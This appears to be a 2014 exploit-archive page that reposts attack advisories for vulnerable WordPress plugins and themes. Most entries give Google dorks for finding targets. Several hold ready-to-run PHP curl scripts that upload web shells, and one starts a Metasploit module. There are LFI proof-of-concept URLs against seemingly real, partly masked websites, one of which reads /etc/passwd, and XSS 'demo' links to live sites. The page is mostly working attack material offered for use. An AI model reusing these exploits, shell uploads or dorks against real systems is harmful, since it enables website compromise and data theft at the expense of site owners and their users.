wordpress

WordPress Booking System SQL Injection vulnerable

By |May 27th, 2014|

Exploit Title: WordPress Booking System (Booking Calendar) plugin SQL Injection
Release Date: 2014-05-21
Author: maodun
Contact: Twitter: @conmancm
Software Link: http://wordpress.org/support/plugin/booking-system
Affected version: < 1.3
Google Dork: inurl:/wp-content/plugins/booking-system/
REF: CVE-2014-3210

Introduction:
Booking System is great for booking hotel rooms, apartments, houses,
villas, rooms etc, make appointments to doctors, dentists, lawyers,
beauty salons, spas, massage therapists etc or schedule events.

SQLi – Proof Of Concept:
vulnerable path:
/wp-content/plugins/booking-system/dopbs-backend-forms.php
vulnerabile parameter:$_POST[‘booking_form_id’]
POC:
POST […]

Comments Off on WordPress Booking System SQL Injection vulnerable

WordPress plugin EZPZ One Click Backup Command Injection

By |May 2nd, 2014|

Product: WordPress plugin EZPZ One Click Backup
Vulnerability type: CWE-78 OS Command Injection
Vulnerable versions: 12.03.10 and some earlier versions
google Dork: intext:plugins/ezpz-one-click-backup/
credits: Henri Salo
Fixed version: N/A
Solution: Remove plugin
Vendor notification: Contact details N/A
WordPress plugins team notification: 2014-04-30
Risk: High
CVE: CVE-2014-3114

Vulnerability Details:

Contains a flaw that is triggered as input passed via the ‘cmd’ parameter in
ezpz-archive-cmd.php is not properly sanitized. With […]

Comments Off on WordPress plugin EZPZ One Click Backup Command Injection

WordPress Themes Theagency File Upload Vulnerability

By |April 29th, 2014|

Title : WordPress Themes Theagency File Upload Vulnerability
Author : AnonBoy
Google Dork : inurl:/wp-content/themes/theagency
Date : 21/04/2014
Facebook : https://www.facebook.com/nufailienafratsim.moechtar
Vandor : N/a
Tested on : Windows 7

POC:
< ?- php

$uploadfile=”x.php.jpg”; $ch = curl_init(“http://localhost/wp-content/themes/theagency/includes/uploadify/uploadify.php”); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘Filedata’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
?>
Shell Access:
http://localhost/wp-content/themes/theagency/includes/uploadify/uploads/x.php.jpg
————————————————————————————–

Greeting:./Trojanspot ./Sacker_Boy ./chliZAceh ./Rijal North Aceh ./Sijulai ./Reja-exe ./TNCA ./Poo Chai ./Mirzja ./hexy khan
./Gantengers Crew

Comments Off on WordPress Themes Theagency File Upload Vulnerability

WordPress Theme LineNity LFI Vulnerability

By |April 15th, 2014|

exploit title: Local File Inclusion in WordPress Theme LineNity
Date: 13/04/2014
Google Dorks: inurl:wp-content/themes/linenity/
Risk: High
Author: Felipe Andrian Peixoto
Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803
Contact: [email protected]
Tested on: Windows 7 and Linux
Vulnerable File: download.php
Exploit :
http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ]
PoC:
http://www.moXm-o-tron.com/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php

http://sporX.ut.ee/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../..
/etc/passwd
http://lokXetpln.us.st//wp-content/themes/linenity/functions/download.php?imgurl=download.php

Comments Off on WordPress Theme LineNity LFI Vulnerability

WP Plugins Premium Gallery Manager Arbitrary File Upload

By |March 18th, 2014|

exploit title: WP Plugins Premium Gallery Manager Arbitrary File Upload
Author: eX-Sh1Ne
Author Facebook: www.fb.me/ShiNe.gov
Date: 03-2014
GoogleDork: inurl:”wp-content/plugins/Premium_Gallery_Manager”

Vulnerable path:
site.com/wp-content/plugins/Premium_Gallery_Manager/uploadify/uploadify.php

Exploit:

< -?- php $uploadfile="Sh1Ne.php.jpg"; $ch= curl_init("http://127.0.0.1:8080/wp-content/plugins/Premium_Gallery_Manager/uploadify/uploadify.php"); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS, array('Filedata'=>“@$uploadfile”,
‘folder’=>’/wp-content/plugins/Premium_Gallery_Manager/uploadify/’));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$postResult=curl_exec($ch);
curl_close($ch);
print”$postResult”;
? >

ShellAccess:

http://localhost:8080/wp-content/plugins/Premium_Gallery_Manager/uploadify/Sh1Ne.php.jpg
or
http://localhost:8080/wp-content/uploads/[years]/[month]/

Comments Off on WP Plugins Premium Gallery Manager Arbitrary File Upload

WordPress WP-Password Plugin XSS Vulnerability

By |February 24th, 2014|

title: WordPress WP-Password Plugin XSS Vulnerability
Author: Arash Cyber
date: 2/15/2014
Category: WebApp
Google Dork: inurl:”/wp-content/plugins/wp-password/login.php”
Tested On: Windows – Linux
Site: Attacker-Team.org

# Type: XSS Vulnerability
# Exploit: http://Site.com/{Path}/wp-content/plugins/wp-password/login.php?err={Your Text}
# Explaination: Copy The Dork In Google – Open A Site – Delete All Texts After login.php
Copy This Code At The End Of The Url: ?err={Your Text} – And End 😀

Demo:
-http://fukushXimaboys.com/wp-content/plugins/wp-password/login.php?err=Your Text
-http://wakayXama-jc.net/2012/wp-content/plugins/wp-password/login.php?err=Your […]

Comments Off on WordPress WP-Password Plugin XSS Vulnerability

WordPress amerisale-re Remote file Upload Vulnerability

By |February 8th, 2014|

Exploit Title : WordPress amerisale-re Plugin Remote Shell Upload
Exploit Author : T3rm!nat0r5
Google Dork : inurl:/wp-content/plugins/amerisale-re
Vendor Homepage : http://wordpress.org/
Date : 2014/01/30
Tested on : Windows 8 , Linux
This module requires Metasploit: http//metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework

CoDE:

require ‘msf/core’
class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ‘WordPress amerisale-re Plugin Remote
Shell Upload’,
‘Description’ => %q{
This module exploits an arbitrary […]

Comments Off on WordPress amerisale-re Remote file Upload Vulnerability

WordPress Dandelion Theme Shell Upload Vulnerability

By |February 8th, 2014|

Exploit Title: WordPress Dandelion Theme Shell Upload Vulnerability
Google Dork: inurl:/wp-content/themes/dandelion/
Date: 31/01/2014
Exploit Author: TheBlackMonster (Marouane)
Vendor Homepage: http://themeforest.net/item/dandelion-powerful-elegant-wordpress-theme/136628
Software Link: Not Available
Version: Web Application
Tested on: Mozilla, Chrome, Opera -> Windows & Linux

CoDE:

< ? php $uploadfile="yourfile.php"; $ch = curl_init("http://127.0.0.1:8080/wp-content/themes/dandelion/functions/upload-handler.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>“@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
? >

File Access :

http://127.0.0.1:8080/uploads/[years]/[month]/your_shell.php

Comments Off on WordPress Dandelion Theme Shell Upload Vulnerability
  • wordpress exploits, webapps exploits, wordpress vulnerability, 1337mir
    Permalink wordpress exploits, webapps exploits, wordpress vulnerability, 1337mirGallery

    WordPress Blogfolio Theme Arbitrary File Upload Vulnerability

WordPress Blogfolio Theme Arbitrary File Upload Vulnerability

By |January 3rd, 2014|

Title : WordPress Blogfolio Theme Arbitrary File Upload Vulnerability
Author : eX-Sh1Ne
Date : 23/11/2013
Category : Web Applications
Type : PHP
Vendor : http://themify.me/
Download : http://themify.me/themes/blogfolio
Tested : Mozila, Chrome-> Windows
Vulnerabillity : Arbitrary File Upload
Dork : inurl:wp-content/themes/blogfolio/

Exploit:
< ? p h p $uploadfile=”sh1ne.php”; $ch = curl_init(“http://127.0.0.1/wp-content/themes/blogfolio/themify/themify-ajax.php?upload=1″); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘Filedata’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
?>
Shell Access
http://127.0.0.1/[PATH]/wp-content/themes/blogfolio/uploads/sh1ne.php
or
http://127.0.0.1/[PATH]/wp-content/uploads/[years]/[month]/ > […]

Comments Off on WordPress Blogfolio Theme Arbitrary File Upload Vulnerability
  • wordpress exploits, webapps exploits, wordpress vulnerability, 1337mir
    Permalink wordpress exploits, webapps exploits, wordpress vulnerability, 1337mirGallery

    WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

By |January 3rd, 2014|

Exploit Title: WordPress dzs-videogallery Plugins Remote File Upload Vulnerability
Author: iskorpitx
Date: 22/11/2013
Vendor Homepage: http://digitalzoomstudio.net
Themes Link: http://digitalzoomstudio.net/docs/wpvideogallery/
Infected File: upload.php
Category: webapps
Google dork: inurl:/wp-content/plugins/dzs-videogallery/
Tested on : Windows/Linux
< ? p h p $uploadfile=””; $ch = curl_init(“http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload.php”); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘file_field’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch); curl_close($ch);
print “$postResult”;
?>
uploaded file:
http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload/upload.html

Comments Off on WordPress dzs-videogallery Plugins Remote File Upload Vulnerability